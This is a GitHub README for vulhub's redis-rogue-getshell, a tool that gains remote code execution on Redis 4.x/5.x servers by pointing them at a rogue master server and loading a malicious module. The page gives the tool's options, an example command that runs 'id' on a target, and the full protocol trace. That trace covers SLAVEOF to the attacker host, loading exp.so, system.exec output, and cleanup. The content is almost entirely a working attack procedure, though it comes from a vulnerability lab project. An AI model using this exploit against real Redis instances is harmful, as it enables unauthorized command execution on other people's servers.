

GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

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Then, exp.so is in `RedisModulesSDK/exp.so` .

```
→ python3 redis-master.py -h
```

```
usage: redis-master.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                        [-c COMMAND] [-a AUTH] [-v]
```

Redis 4.x/5.x RCE with RedisModules

optional arguments:

```
-h, --help            show this help message and exit
-r RHOST, --rhost RHOST
                        target host
-p RPORT, --rport RPORT
                        target redis port, default 6379
-L LHOST, --lhost LHOST
                        rogue server ip
-P LPORT, --lport LPORT
                        rogue server listen port, default 21000
-f FILE, --file FILE  RedisModules to load, default exp.so
-c COMMAND, --command COMMAND
                        Command that you want to execute
-a AUTH, --auth AUTH  redis password
```

```
→ python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
```

```
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n*.*.*\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\nfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'PING\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'PSYNC 7cce9210b3ad3f54043ce1965cda506bd26b0224 1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
```

```
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'\n>> receive data: b'+OK\r\n'\n>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\nndbfilename\r\n$8\r\ndump.rdb\r\n'\n>> receive data: b'+OK\r\n'\n>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nnid\r\n'\n>> receive data: b'$49\r\n\r\n\x08uid=999(redis) gid=999(redis) groups=999(redis)\r\n\r\nuid=999(redis) gid=999(redis) groups=999(redis)\n\n>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'\n>> receive data: b'+OK\r\n'
```

Source: <https://github.com/vulhub/redis-rogue-getshell>